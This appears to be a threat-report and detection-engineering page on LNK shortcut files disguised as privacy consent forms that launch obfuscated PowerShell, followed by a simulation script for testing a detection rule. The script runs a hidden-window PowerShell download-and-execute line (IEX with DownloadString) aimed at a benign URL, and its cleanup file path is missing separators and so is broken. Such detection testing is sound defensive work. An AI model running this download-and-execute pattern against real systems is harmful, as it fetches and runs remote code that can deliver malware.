What Was Really Inside the Shortcut File Disguised as a Privacy Consent Form?

Summary

Threat actors are distributing malicious LNK files disguised as privacy consent forms to deceive users into opening them. When executed, these shortcut files launch obfuscated PowerShell commands that retrieve and run additional payloads using fileless techniques. The attack chain is designed to steal information and deploy a backdoor loader that helps preserve access and persistence.

Investigation

The investigation showed that the LNK files embed obfuscated PowerShell code responsible for downloading follow-on scripts. These secondary scripts include a downloader that pulls payloads from legitimate web services and a loader that executes them directly in memory. The threat actor also abuses Windows Task Scheduler for persistence and uses decoy documents to make the malicious activity appear legitimate.

Mitigation

Organizations should enforce strict verification of file extensions and warn users about LNK files disguised as regular documents. Security teams should closely monitor Task Scheduler activity, PowerShell execution logs, and outbound network connections. Users should also be trained to validate both the sender and the delivery path of any incoming file before opening it.

Response

If this activity is detected, administrators should immediately review suspicious Task Scheduler entries and unusual PowerShell script creation in user-accessible directories. PowerShell logs should be analyzed, and external connections should be traced, especially those involving legitimate cloud platforms or web storage services. A full forensic investigation should then be performed on any identified malicious scripts and unauthorized network traffic.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre-flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

• Attack Narrative & Commands: The adversary seeks to establish initial access and download a second-stage malware payload. To avoid detection by simple file scanners, they use a LNK (Shortcut) file. This LNK file is crafted to execute powershell.exe in a hidden window. The command passed to PowerShell uses Invoke-Expression and DownloadString to pull a script from a remote URL. This mimics real-world “Living-off-the-Land” (LotL) attacks where legitimate binaries are used to perform malicious actions, aiming to bypass traditional signature-based antivirus.

• Regression Test Script:

  # 1. Define the target URL (using a benign site for testing)
  $url = "https://www.google.com"
  
  # 2. Create the malicious PowerShell payload string
  # This string is designed to trigger the 'DownloadString' and 'Invoke-Expression' detection
  $payload = "IEX (New-Object Net.WebClient).DownloadString('$url')"
  
  # 3. Create a dummy LNK file content (Simulated)
  # In a real attack, this would be a binary .lnk file. 
  # Here we execute the command directly to ensure the ScriptBlock log is generated for validation.
  Write-Host "[+] Simulating malicious PowerShell execution via LNK payload..."
  powershell.exe -WindowStyle Hidden -Command $payload
  
  Write-Host "[+] Simulation command executed. Check Event ID 4104."

• Cleanup Commands:

  # Remove any artifacts if files were created
  Remove-Item -Path "$HOMEDesktopSimulated_Malicious_LNK.lnk" -ErrorAction SilentlyContinue
  Write-Host "[+] Cleanup complete."